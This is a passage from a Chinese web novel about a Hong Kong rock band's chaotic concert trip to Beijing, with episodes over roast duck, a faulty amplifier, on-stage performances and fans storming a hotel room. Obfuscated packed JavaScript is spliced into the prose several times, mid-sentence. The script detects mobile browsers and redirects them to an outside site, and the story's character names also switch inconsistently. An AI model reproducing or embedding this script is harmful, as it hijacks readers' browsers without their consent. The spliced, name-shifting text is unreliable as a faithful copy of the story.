即使再责难也没有任何意义,舒慕这时开口建议:“我们还是先上车吧,把行李摞起来挤一挤。” 顿了顿,说到另外一个非常关键的问题:“而且快中午了,我问了这里的工作人员,附近是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673738|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有吃饭的地方,到市区还有一段路程呢,我们就不要在大马路浪费时间了。” 幸亏这几个大男人不是很饿,要不然,估计又要给演出方在心里记一笔。 坐在车里,本就不甚熟悉的双方偶尔搭讪两句,看起来气氛还不错,似乎之前只是一个小插曲。 但很显然,这话说的太早了。 “陈先生,您看下,这是本次演出的日程表。” 经纪人接过来细细翻看起来,当目光落在最后一天,神情一变,上面写着坐车到天津机场,返回广州,之后无言的递给家熙等成员。 果不其然,乐队四人对最后一天的安排极其不满。 北京这座城市实在天大了,当一行人终于到达下榻的酒店时,已经5点半了,长达9个小时肚子没有吃东西的他们向经纪人表示如果对方解决不了回程车票的问题,那就罢演了,反正最后着急的是演出商。 同样被折腾到心烦意乱的经纪人更是立马带着好友刘卓晖来到负责接待他们的杨小姐跟前,严肃的说道:“刘小姐,请尽快联系演唱会的负责人刘小姐来见面,我们要和她商议一些事情。” 杨小姐苦哈哈的脸艰难地解释:“很抱歉,负责人现在联系不上,电话也没有人接,恐怕今晚是悬了。” “那完了!”经纪人一声无奈地叹息:“现在begin四个哥儿们闹着罢演。” 这下,杨小姐脸上的笑容看起来更加勉强了。 但经纪人没有怜香惜玉的意思,一副公事公办的样子,语气不带任何缓和的商量:“请转告刘小姐,如果机票的事情没办法解决,那我们也没办法继续工作,另外,原本定下的今晚会场视察也不会去了。” 烦恼的问题丢给了演出商,饥肠辘辘的一行人终于要出去找好吃的了。 来到北京,不吃当地特色似乎说不过去,于是众人浩浩荡荡地来到了距离酒店比较近的全聚德前门店品尝烤鸭。 一进门,舒慕最先看到了吧台立着的提示牌:“这里以外汇券结账。” “我们有外汇吗?”她后知后觉的问向走在前面的八个大男人。 离她最近的刘卓晖边走边想了想,说:“有,但不多。” “那等会怎么办?”还没吃上饭,舒慕就开始担忧起结账时的问题了。 家熙这时招呼着大家进到包厢里,自己随意走到了一个位置,拉开椅子坐了下来,好笑的宽慰她:“舒舒,填饱肚子最重要,你都说等会了,等会的事情当然等会说咯。” “就是啊。”阿波眼珠子直直盯着菜单,分神儿叨叨了一句:“不是有句话,叫车到山前必有路嘛,不用太担心了。” “先上烤鸭吧。”家言夸张地叫起来:“我已经迫不及待了。” 阿波欠欠看他:“瞧你饿鬼一样。” 家言回瞪某人,呛声道:“说的和你不馋似的。” 得,他们俩真的是在哪里都能杠上。 再看其他几位男士,早已投入到热烈的点餐讨论环节,谁都没有功夫去考虑外汇的问题。 心都挺大的。舒慕见状,干脆也摆烂了,有这几个大男人在,估计自己真的是白操心,认认真真享受美食才是正事儿。 14.第14章 烤鸭上的很快,陆陆续续点的菜也都上了桌,接下来,大家动作几乎一致,拿着筷子夹起两三片鸭肉,再来点儿黄瓜丝和蘸酱,统统放在软软的小饼上,极其小心认真地包裹住,防止有料汁漏出。 家熙津津有味的吃着,回味着口感,不时地发出感慨:“味道好正啊,这趟来的值。” 世文把最后一口鸭肉塞进嘴里,顺带干了一杯啤酒,那感觉美滋滋极了。 舒慕笑:“阿文,你把啤酒当成水喝了吧?!” “舒舒姐,阿文的酒量很厉害的。”嘴上沾着些酱料的家言笑嘻嘻的代替世文回答。 “俗话说不到长城非好汉,不尝燕京烤鸭真遗憾,咱们算是很有福气的了。”家熙递给阿波一根烟,自己也点了一根,悠悠感慨。 “原谅我见识浅薄,只听过前面那句话。”默了会儿,刘卓晖幽默的说道。 众人旋即笑了起来。 大快朵颐之后,到了最烦恼的时刻,怎样才能逃脱不付外汇,舒慕拿起桌上的账单看了一眼,十分确定---他们付不起。 一番讨论,几个大男人商量好口径一致,务必据理力争,绝不退让。 作为普通话最好的刘卓晖,自然被其他人推出来做代表发言。 “你好,我看到刚才那位外国人也是付的人民币,那我们为什么要付外汇?凭什么区别对待?”站在最前面的刘卓晖做足架势,义正言辞地问道。 柜台服务员精明的目光仿佛看穿了眼前男人意图诡辩,毫不客气的回答:“先生,他有免付外汇证明的。” 见状,其他人推王华问问还在门口未离开的那位外国人,到底是怎么解决的,结果大跌眼镜,人家也没有什么所谓的免付外汇证明。 一听这话,刘卓晖有些泄下去的底气蹭的又足了起来,继续和对方不停地理论。 服务员听到最后烦的干脆不再看他,硬气地甩下一句话:“自己看,店门口贴着只收外汇。” “这些简体字我们也看不懂啊!”几个大男人适时凑过来打起助攻,你一言我一语的站在柜台前态度强势的表达只付人民币的意思。 双方僵持了好一会儿,估计是服务员实在受不了大家七嘴八舌的假普通话,随后硬邦邦的提出付人民币可以,但要加收30%。 想来也是省掉不少,于是众人也便见好就收了。 走出全聚德,天气还挺冷的,北京的秋天,到夜晚已经有点冬天的预兆了,舒慕忍不住紧了紧身上的毛呢大衣,问他们:“咱们怎么回去?” “别打车了吧,说不定又要付外汇。”家熙对刚才的士司机要求多付的港币耿耿于怀。 “我们干脆坐地铁回去,也算体验一把北京地铁。”刘卓晖提议道。 就这样,一行人说说笑笑间很快走到了前门站的入口,奇怪的是正巧看到两三个人站在那拉着铁闸。 刘卓晖两三步上前,客气的问:“你好,请问地铁是不是关了?” 其中有一个人微笑的点头,说:“已经关了。” 阿波低头借助路灯的光看了眼表,难以相信地抬头:“这才8点多而已。” 家熙侧目看向一瞬间熄灭的电子屏亮光,好奇道:“北京夜生活结束的挺早哇。” “我们再往前走走看看吧。”刘卓晖努努下巴:“说不定能有新发现。” 简直说什么来什么,在相距不到20米的另一出口,大家愣愣的望着眼前的场景,这里灯火通明,人流不息。 谁说关了的,良心不会痛吗?? 明白过来的家言最看不惯这种骗子,气得义愤填膺:“我们是被耍了吧!” 性子直爽的阿波凉凉地说:“我有预感,这将是一次难忘的外出经历。” “好了好了,我们赶紧去买票回去。”不想在大街上吹冷风当雕塑的经纪人倏的打断他们的吐槽。 心情不佳下,最值得安慰的就是发现这里的地铁票价太便宜了,无论远近,都是三毛钱一个人。 虽然车厢内挤得人透不过气,不过当看到车内的灯光忽明忽暗,大伙儿又感觉很新鲜。下车前,为了保险起见,刘卓晖问向旁边的乘客,到燕京饭店是不是在复兴门站下车,大概问了有三四个人,才终于有人清楚的回答。 结果他们还是开心早了,走上地面一问才知道原来从这里到燕京饭店还需要再走20分钟左右哩! “舒舒,给你一根。”家熙从袋子里掏出香蕉递给她,又分给其他伙伴。 几个人一边品尝着北京的香蕉,一边悠闲的在长安街上散步,享受着北京秋天的夜晚,只能说都很擅长苦中作乐,心态都还不错。 至于明天的演出怎样解决,大家懒得忧心烦恼,反正紧张的不是他们。 回到酒店还没一会儿的功夫,之前告诉大家可能今晚联系不上的演出负责人带着几名同事神奇的现身了。 尽管眼前美丽的负责人一再解释从广州到天津不是为了省钱,而是无奈之举。 巴拉巴拉一堆听不懂的理由,听得作为乐队经纪人的Leslie程严肃的表情就没舒展开来:“来的问题已经翻篇儿了,我们不会再计较,现在的问题是你们怎么安排我们回去?” “今晚我们过来就是想说,已经订好了从北京飞的机票,现在需要收下大家的证件,明天会由我们的副经理亲自去拿票。” 家熙:“那我们这边派出一个人跟你们一起去。” 对方面露难色:“这恐怕不太方便。” “这有什么不方便的呢。”家熙不紧不慢地说:“证件对于我们来说很重要,万一丢失更麻烦,多一个人一起去,也能保险些啊。” 演出负责人的语气听着柔和,但说出来的话却丝毫没有退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686935|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让:“不好意思,这样真的不太行呐。” Leslie程这时想出了另一种办法,开口道:“既然这样不行,那你们就直接付给我们人民币的飞机票钱,同时把乐队演出费全数付清,我们明天自己去买直航港城的飞机票。” 同时询问的眼神看向众人:’“你们觉得呢?” 大家当然不会有意见,谁都不想再以同样折腾的方式回去了,即使每张飞机票要多补800多的港币。 听经纪人一说,不可思议的是,对方毫不犹豫地便答应了。 经纪人Leslie:“……” 翌日,大家兵分两路,由经纪人、刘卓晖和舒慕一队,负责去售票处买票取票,其余人和乐队一起前往场馆走位彩排。 多番周折之下,折腾到中午时分,直飞港城的机票总算圆满解决,至于晖哥另飞广州的机票,万幸遇到一个大好人帮忙,避免了滞留在这里的问题。 简单吃过午饭,因为挂念着乐队彩排的事情,三人又匆匆赶往首都体育馆,经过售票处的时候,舒慕不经意的瞥了一眼上面贴着的海报。 欸?人头数怎么多了一个? 她如同发现新大陆似的走近,立马乐了,原来把远仔也画上去了,看来演出商不的功课做的不是很全面清楚。 再细细观察,甚至上手摸了摸,舒慕转头用极其稀罕的口吻和Leslie程、晖哥说:“你们看,这竟然是画上去的!” 他们两人凑了过来,Leslie程仅仅看了一眼,就差把嫌弃两个字写脸上了。 “这画的是他们四个吗?” 刘卓晖看似一本正经的评价:“估计画的人走抽象派路线。” Leslie程:“……”他觉得自己来的这一趟,头疼的次数不断再增加。 进入场馆,舒慕惊叹内场的宽阔程度,回想过去,这一定是begin有史以来参加的最大的场地规模了。 Leslie程远远的看着乐队成员在台上各忙各的,负责音响设备的王华这时轻步走过来,言语间抱怨着主办方非要派几个人和他一起做,事实上,他自己一个人效率会更高。 Leslie程抬手看了一眼手表,微微皱眉,因为场地的缘故,带来的所有设备都需要重新调整,这是演唱会非常关键的一个环节,本身花费的时间就会长,结果战线拉这么长,还没整出什么花样来:“已经3点了,太耽误事情了!” 他发出重重地叹气声走向舞台,准备再看看乐队四人的准备情况,这一问才知道刚才错过了一场争吵。 “我在调音的时候发现音质设备比较差,导致没办法调出理想的效果。”家熙愤愤不平地说起自己发现扩音机有问题:“他们反说是我弄坏的,才会没办法调出正常音色,甚至要我赔偿,有没有搞错,不是我做的,怪到我头上,我肯定不答应啊。” 15.第15章 说到最后,一向做事认真的家熙发出的音都越来越粗重:“最要命的是到现在为止,我们还没有彩排一遍呢!” Leslie程边拍拍他的肩膀,一边安抚道:“我去和他们聊一下。” 只是还没等下台的功夫,场馆内的工作人员匆匆走了过来,用不容拒绝地语气通知他们:“4点钟这里就停电了,一直到6点,大家等会记得准时离开。” 还在埋头忙活儿的乐队众人面面相觑。 Leslie程对此彻底服气了,他问:“那设备问题怎么办?” “我们会想办法的,你们放心。” 考虑到留在这里也没实际的作用,待会儿又要停电,距离开演还有几个小时,只能让大家先回酒店休息,到时候能排练几首是几首。 Leslie程对乐队的业务能力还是非常肯定的。 于是,稍微放松下来的他便对大家说道:“我们先回去吧,预计6点再来这,到时候尽量走一遍完整的过程。” 当挨个上了车之后,Leslie程才发现少了家熙一人。 “他不会又回去在那等着工作人员修好设备吧?!” “肯定的咯。”阿波欣赏着窗外的风景,笑了笑,漫不经心地回答。 作为弟弟的家言也丝毫不意外:“我哥做得出来这样的事。” 世文淡淡地笑:“家熙很固执的。” Leslie程对家熙的性格大概了解几分,无奈地摇了摇头,决定带大家先会酒店休息,他看向舒慕,心里做了决定:“舒舒,那你就在这等等家熙吧。” 舒慕点了点头:“好的。” 目送车子越走越远,直到消失在她的视线里,舒慕这才转身一路小跑回到了场馆内。 此时,家熙还在台上和人家据理力争。 舒慕清晰地看到那位工作人员按了按隐隐作痛的太阳穴,不太耐烦的说:“都给你说了会想办法找另一台替换的,你先回去休息就行了。” 家熙却纹丝不动,手搭在双臂上,摆出强势的姿态,绷着脸坚持道:“既然你们说会找另一台扩音机替换,那我就在这等,什么时候看到,我就什么时候回去。” 他那黑白分明的眼睛露出势在必得的霸气,另对面与他对峙的人深深感到一股无形的压力。 怎么会碰到如此固执难缠,油盐不进的人,场馆的人很头疼地互相对视一眼,没办法不得不投降的跑到后台去找。 站在原地的家熙也在这个时候发现了舒慕,惊讶地‘欸’了一声,问:“舒舒,你怎么没和他们一起回去?” “大家知道劝不动你,所以经纪人让我留下来,他带着其他人回酒店休息。”舒慕解释完,想起刚才目睹的画面,调侃道:“我猜,那俩人你一定在心里想,这人真难对付。” 闻言,家熙侧眼定定地看着她柔和的眼睛,像极了教导主任:“不硬气一些,他们才不会给你办事,我怎么能容许演出出现这种低级问题。” 望着他漆黑眼珠里浮现的坚定和认真,舒慕一眨不眨地盯着他,竟短暂的失了神。 “来了来了,扩音机来了。” 显而易见的,家熙嘴角泛起了代表胜利的笑意,正冲她挑着自信地眉头。 反观搬设备的三个小伙子,一副怕了家熙的样子,没有过多言语,只是低着头手脚麻利地快速弄完之后,用‘这下总行了吧’的语气说道:“呐,我们找来两台,其中一台你们到时做后备就好了。” 话音刚落,家熙一改刚才霸气,亲切地面孔,阳光灿烂的笑容:“谢谢你们,辛苦辛苦,这样就好了嘛!” 该夸还是要夸的,家熙抿了抿嘴,心里想着。 那几人勉强轻轻扯了扯嘴角,虚虚地摆摆手:“不谢不谢。” 舒慕看着他们干完活儿便飞快下台离开,好笑的一边递给家熙外套,一边趁他穿衣服的功夫,打趣道:“哎呀,话说你刚才那一顿硬刚,他们心里肯定在想,真倒霉,这次算是碰到硬茬了。” 家熙笑得开怀,随口道:“必要时候必要手段嘛。” “走吧,我们回去。” 舒慕背起包:“好。” 距离大部队回到酒店只有半小时,众人集合在家熙房间里正谈笑着今天的所见所闻,直到突然传来门卡‘叮叮叮’一连串的声音,这才惊喜的发现是家熙带着舒慕回来了。 “哥。”家言没想到他速度这么快:“我们还说等会帮你拿今晚的演出服到场馆呢。” Leslie程看到他回来,猜想问题一定解决了,但还是忍不住确认:“家熙,扩音机找到了?” “嗯,他们找了两台,正好方便我们有一台备用。”家熙径直走到桌前给自己倒了一杯水,咕咚咕咚喝了下去,在场馆说了太多话,晚上又要唱歌,可得润润嗓子。 坐在沙发上的刘卓晖眉飞色舞:“多亏了家熙脾气够硬,否则还不知道今晚的演出会怎么样。” 家熙得意洋洋的吹起口哨。 “听说你们中午是和崔建一起吃饭的?”Leslie程看向家熙,闲聊起来。 “嗯。”家熙说:“崔建挺友善的,只是感觉不太喜欢问问题。” 另一边的阿波支着脑袋斜躺在床上,斜着眼睛看他,意味深长地说了句:“拜托,不是所有人都长气好不好。” “对哦。”家言似笑非笑起来。 世文和舒慕默契地交换了一个眼神,不约而同地在心里想:“你们干脆直接说人名得了。” 同为摇滚发烧友多年的晓云,当然不例外的见识过家熙口不停的功夫,他不禁点了点头:“蛮有道理的。” 兄弟们话中有话,家熙哪会意识不到指的是自己,面对明处的调侃和暗处的眼神,他撇了撇嘴,没好气地切了一声。 众人玩闹了一会儿,因为想着晚上的演出,纷纷在经纪人的催促中回到了自己的房间休息,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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总之,他们绝对不承认自己嫉妒羡慕! 两个人围着场馆转了一圈,欣赏着号称北京最大的演出场地,等再次转回到正门入口的时候,碰巧看到了正在售卖演唱会门票的黄牛党。 他们乐队竟然这么火了吗?竟然都有黄牛来卖票。 意外中的发现,令家熙喜滋滋的迎了上去,主动问道:“请问你们知不知道今晚是谁在这里演出?” 那黄牛上下打量他一眼,老实说:“不清楚啊。” 家熙瞪大眼睛:“……” 舒慕嘴角弯起,拽拽他的衣服,提醒道:“别耽误了正事儿,赶快回去吧。” “哎!兄弟。”黄牛上前两步,挥舞着手中的门票,扯着嗓子喊道:“你要不要买一张看啊?” “我?”家熙脚步一顿,回过身望过去,他的笑意更浓,觉得有意思极了:“你看看海报上这是谁。” 大叔顿时怔住,接着又看眼前的年轻人眉眼带着笑意,乐不开支的指着不远处画上的人对他说:“这就是我了。” 16.第16章 尽管这次演出没有多少演出费,但能成为第一支站在内地大型舞台的港城乐队,作为主心骨的家熙认为无疑是一个很好的开始。 因为,他们最大的理想就是有朝一日做世界巡演。 就这样,乐队成员们在彩排时间不足、音响设备差、舞台设计超级简单的多重状况下,开始了当晚的演出。 虽然和演出商在合作过程中发生了小小的不美好,但利益至上的他们在至关重要的场合下丝毫不含糊,现场工作做的挺到位。 不过,大家似乎忘记了台下坐着的18000人对摇滚音乐还处于破壳萌新的状态,尤其难上加难的要听粤语演唱,属实费脑子,半点儿都感觉不到音乐的魅力,更别提期待大家激情的投入其中。 那么,问题来了,如果观众无法本能地参与到乐队的音乐交流中,那么乐队就会更放不开了。 事实也的确如此。 因为下半场的时候,坐在观众席中的舒慕奇怪的发现她身边只剩下了空荡荡的座位,再一回头张望,正巧看到有准备起身离开的。 与此同时,台下安静的程度,让正在弹奏的家熙忍不住怀疑自己到底是不是在摇滚演唱会的现场。 怎么和他想象的天差地别?! 另外,其他成员或多或少也受了些影响。 比如家言弹贝斯弹的快要迷瞪眼了,阿波本想solo玩下花样,现下也没了兴致,最能表现出节奏感的鼓声此时都显得没有振奋的信号。 就这样不尴不尬的演出结束后,所有人齐聚在酒店房间里开了一场名为检讨的会议,舒慕坐在他们身后拿出笔记本来记录,目的是为了明晚的演出能够更有成效。 家熙弹了弹烟灰,揶揄的语气道:“我还以为今天开了一场交响乐的表演。” “太安静了,一点都不rock。”冷酷的吉他手非常不满今晚观众的反应,严重影响他的发挥。 家言补充道:“我们白天大半的时间都在调设备,真正算起来也就排练了三首歌。” 经纪人托着下巴深思了片刻,才开口:“我觉得摇滚对于内地的人来说,太新了,而且唱的还是他们听不懂的语言。” 世文单手转着鼓棒,发表着自己的想法:“他们估计只是想看看港城的乐队以及港城的摇滚乐是什么样子,纯好奇而已。” 家熙把还没抽完的烟碾碎在烟灰缸里,刚才经纪人说的话使他萌生了一些想法,于是他兴致勃勃地建议道:“不如我们把《大地大地》和《旧日足迹》改成普通话版的歌词,观众不就能听懂了?!” 身旁的经纪人听了,深表赞同的附和:“这样的话,气氛应该不会像今晚一样冷漠了。” 说到国语版的歌词,在这队伍里只有刘卓晖一人能做到。 所以,写歌词的人呢? 众人你看看我,我看看你,互相大眼瞪小眼。 不过,欣喜的是,还不等经纪人给他打电话,仿佛心灵感应一般,就听门卡‘滋滋’两声,悠悠闲闲进来的不就是大家正念叨的人嘛。 “你终于回来了。”家熙非常热情的迎了上去。 刚刚约会完的刘卓晖架不住这份热情,看上去有点懵逼:“咋了?” 家熙热切地说:“晖哥,现在就帮我们写出《大地大地》和《旧日足迹》国语版歌词吧!” “……”刘卓晖无言的抬头看了眼墙上挂着的时钟,已经进入零点了。 险些崩溃的他只好安慰自己,有这么多人陪着自己,倒是也不错。 “哈……哈……。” 刘卓晖疯狂的在台灯下奋笔疾书,数不清是打了第几十次的哈欠下,终于赶完了工,他放下笔,一边转着脖颈一边左右捏着缓解酸疼。 感觉轻缓了后,他拿着那张写着洋洋洒洒文字的纸,转身兴奋得叫他们:“你们看看……。” 哪料话还未说完整,好家伙,沙发上托着腮睡觉的,床上几个四仰八叉的。 “喂!”刘卓晖震惊地望着这一群抛弃他的家伙,不可置信:“你们竟然睡着了?!” 这一声蕴含着悲愤的嗓子喊出来,彻底把不知道什么时候已经进入梦乡的大家召回到了现实。 “啊?”家熙条件反射般腾空坐了起来,晃了晃脑袋清醒清醒,一个箭步走到刘卓晖的跟前,拿过歌词看了起来,其他“被叫醒”的成员也随之走了过来。 在刘卓晖实在抵挡不住困意倒在床上时,站在桌边的家熙捏着那张薄薄的纸,缓缓勾起唇角:“明晚我们就改唱国语版的《大地大地》。” 负责主唱这首歌的阿波点点头,自信的说道:“放心吧,包在我身上,绝对没问题。” 然后,家熙补充了一句:“这首歌等到间奏的时候,我们四个可以各自solo一段,说不定现场氛围会更燃更有劲。” “这主意不错哎。”世文赞同的说。 一聊起音乐,他们又忘记了时间,即使现在已经是凌晨2点。 舒慕强撑着互相打架的眼皮子,催促并不打算去睡觉的四个人:“我说你们,明天白天不还得再排练嘛,现在就早点睡吧,养足精神,明晚演出总不能顶着两个熊猫眼上台吧。” “这就睡这就睡咯。”兴许是解决了心头难办的问题,家熙神情欢快的冲大家摆摆手,接着跳上床。 困意上头的阿波勾着家言的脖子出了房间:“走了,回去睡觉。” 走在他们后面的世文和舒慕简单说了两句,也各自回房间争取多睡几个小时。 今晚是最后一场begin乐队在北京的演出,这天他们一行人早早来到了场馆,刚到地方就被现场的工作人员拉去化妆间,这次是专门请的化妆师,行动力很迅速,一顿粉朝他们脸上呼呼的拍拍拍。 舒慕和刘卓晖立在一旁,歪着脑袋看着四个大男人无处可躲、生无可恋的被化妆师摆弄着那张俊脸,默契地无声笑了起来。 其中有一个化妆师在给家熙用粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740637|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底遮住脸上明显的痘印后,眼睛里尽是满意,不住的说道:“这小伙子上妆后真显气质。” 被夸有气质的人羞涩低头一笑,温声向身边的化妆师说着谢谢。 要知道,平时家熙的穿着打扮可是很随便的,头发乱糟糟的,脸上更不会做任何的修饰,直接穿着旧衣衫就大摇大摆的出门了。 台下的他对形象挺无所谓的,不过只要在表演的时候,他是乐队四个人里最会打扮,重要的是,他永远自信于自己的穿着装扮。 “小伙子,听到了吧。”阿波趁着化妆师转身拿东西的空隙故意拖长了音。 刚刚还乖巧坐着的家言耳尖的听到后,忍不住侧过脸来嘿嘿一笑,但只瞬间的功夫,又被身边的化妆师手动控制转了回去。 世文继续两耳不闻窗外事,静静地配合看着他脸红的化妆师为他上妆。 男生的妆容比起女生来说还是很简单的,二十分钟左右,家熙等人也就化好了妆,四个人收拾妥当,准备去前场排练。 “家熙。” 刘卓晖突然出声,提醒道:“你记得今晚一定要唱那首《一无所有》。” 家熙笑着比了个OK的手势,一副胸有成竹的样子。 时钟指向了7点15分,因为还在做最后的准备,导致场馆的工作人员一直在夺命的催催催,这里边有一个人看着挺凶的,说话也很呛声,舒慕对他没有任何好感,甚至心里很讨厌。正是因为这人态度、语气都很恶劣的和大家说:“如果有什么事发生,由你们负责,和我们没任何关系啊。” 舒慕面无表情地看着他,心里默默在用自己所知道的语言骂他,似乎不太解恨,又小声对家熙他们四个吐槽:“只不过就是迟了五六分钟,至于这样嘛。” 想不到他们四个的评价更绝,小声地回了舒慕一句:“这人神经病!” 忍不住扑哧一声笑了出来,见刘卓晖等人疑惑的看了过来,她赶忙止住了笑意,示意自己出去帮忙。 上半场,乐队仍然唱的是粤语歌,这对于台下的观众们来说,无疑是陌生的。一直等到阿波唱出国语版的《大地大地》时,才逐步掀起了一个小高潮。 为了保持住此时此刻的高潮,台上的四个人在间奏部分,果然各自表演了一段solo。舒慕和刘卓晖一同坐在观众席,他们更身临其境的感受到观众的情绪是显而易见的高涨,尤其当世文充满力量的鼓声敲击时,必须承认这是最受欢迎的一环。 下半场时,阿波站在一旁扫着吉他弦,舞台中间的家熙暖和一笑,露出洁白的牙齿,他故作神秘地问向台下的观众:“大家听听这首是什么歌?” 所有人议论的很热闹,却没有人大声的喊出答案。 好在家熙控场强悍:“那就再来一遍咯。” 幸好再来一遍时,已经听出来的人,迫不及待地喊出来声,渐渐的,声音越来越多。 家熙脸上露出欣喜的表情:“对咯,就是《东方红》。” 17.第17章 如果说整场演出最使观众惊喜雀跃的,舒慕想,当属辉哥推荐务必要唱的《一无所有》。 舞台上,家驹扬着头,飞速扫着弦,对着麦克风,唱到高潮部分时,爆发出了极具力量的嘶吼声,那嗓音太惊艳了! 而台下的观众们终于不再是老老实实千篇一律地坐在座位上听着看着,而是跟随着乐队的节奏挥舞手臂,摆动身体。 舒慕没有听过原唱的版本,没办法做比较,于是她好奇地问向身边的人:“辉哥,你觉得家驹唱的怎么样?” 眼睛眨都不眨地直直盯着舞台,跟随着音乐节奏摇摆的刘卓辉飞快地回了一句:“这味道不比原唱逊色。”接着他用十分坚定的语气转过头来补充,很认真很认真的神情:“绝对是我听过数十个重唱版本里最好的一个。” 说完哈哈大笑起来。 舒慕跟着一乐:“辉哥,你的评价好高哦。” 刘卓辉便道出原因:“因为家驹不是单纯的在模仿原唱,他是有自己的演绎方式。” 临近最后,乐队以国语版《旧日的足迹》结束了两个小时的演出。眼看着台上的人已经走向后台,台下处于沸腾的观众们还站在原地,火热的叫喊着,跳着蹦着,这么一看,倒是有摇滚味儿了。 更让舒慕咋舌的是,花费了好多天搭建布置的舞台,竟不到半个小时便收完了台,就算乐队想在最后安可,也没有办法咯。 不过,值得欣喜是,紧张地工作已经完成,接下来便是好好在北京玩一玩了,大家紧绷的神经也终于能轻松了下来。 一行人彻底悠哉悠哉的回到了酒店,准备早点休息,憧憬着明天北京一日游。 “家驹,行李给你收拾好了,你等会自己再看下哈。”舒慕看着箱子里叠的整整齐齐的衣物饰品,为自己的心灵手巧满意极了,她把箱子紧紧地扣上,推到门后的位置。 正在卫生间准备洗澡的家驹拿着浴巾朝外面扯着嗓子回应:“好。” 舒慕刚走没多久,屋里试完水温,正打算脱衣服开洗的家驹突然听到门铃响起,以为是阿Paul他们来找自己,于是想都没想的出来打开了门。 “beyond!” “beyond” “家驹!” “……” 门刚被打开,屋外的人如同一股强烈的风,他们叫喊着乐队的名字,一把推开家驹进到房间里。 差点歪倒的家驹眼疾手快地扶着墙稳稳站好,转过身来,膛目结舌的看着眼前刺激的一幕,一堆人里,有十几岁的少年,也有三四十岁的中年男人,他们闹着索要签名和合影,有的甚至穿着鞋在床上、沙发上跳来跳去,就像玩蹦床似的。 眼看自己的房间被这些人搞得越来越混乱,忍受不了的家驹大声的劝阻:“喂!你们快停下,停下来!” “不要闹了行不行!” “嘿,小朋友,我的床快要塌了。” 同一时间,好在隔壁的队友们和舒慕听到异常的吵闹声很快赶了过来,大家对眼前歌迷的疯狂程度属实吓了一跳。 舒慕捂着发疼的脑袋:“天呐。” “哇!”家强和阿Paul眼见被围困在人群中的家熙,震惊地不得了。 世荣心有余悸的抚了抚胸口,这种场景他还是头回见。 就在这个时候,有一部分人失控地把家驹围了起来,围的严严实实,缠着让他签名,另一边的一伙人依旧在欢腾地蹦床。 被人群淹没的家驹发挥着自己“口不停”的强项,苦恼的是粉丝太过兴奋。 作为好兄弟的阿Paul、家强和世荣这时候怎么只能站在一边看戏呢,那也太不仗义了。 此时阿Paul冲上前意图解救可怜的家驹,家强和世荣则是一人一个方向,向外赶着这些看上去已经疯了的粉丝,舒慕对他们的战斗力还是蛮有自信的,于是赶紧出门坐电梯下楼去找前台求助了。 “喂!” 阿Paul使劲拨开最外层的一圈人,嘴上冲他们喊着:“麻烦你们温柔点行不行?!我们可就这一个主唱啊!” 人群中被推搡来推搡去的家驹:“……” “我去!大哥,我的衣服要被拽烂了。”阿Paul小小的眼睛生起气来陡然间瞪大,他咬着嘴唇,奋力地和那人扯回自己的衣角。 各种喧闹的声音,时不时伴随着各种尖叫,比起室外的寒冷,这里真是一团火热。 好不容易把这些人打发走,但家熙回过头来却发现整个房间已经被糟蹋得混乱不堪,顿时感到好气又好笑。 此时,舒慕带着酒店的管理人员出现在了门口,那名穿着西装的经理诧异地环视了一圈,小心迈过地上的各种杂物,走到家驹的面前,带着非常诚恳的面貌说道:“先生,实在抱歉,给您带来这样的麻烦,我已经叫服务生过来,以最快的速度给您收拾好房间。” “请您稍微等待一下,实在不好意思。” 酒店的处理速度很快,说话间的功夫,两名服务生便带着清洁的工具走了进来,在问了声好之后,各自分工手脚麻利的打扫起了屋子。 房间重新回归平静,家驹一边收拾着四下散乱的衣服,一边还在回味着刚才的经历:“简直太恐怖了。” “我还一直以为只有香港的乐迷最疯狂呢。”家强手插着口袋,倚靠在墙根边上,略有感触的说。 阿Paul左右照着镜子,整着自己有点乱的衣服,听到这话,插了句嘴:“而且来的大多数是男的,老中青都有,以后男人缘和女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 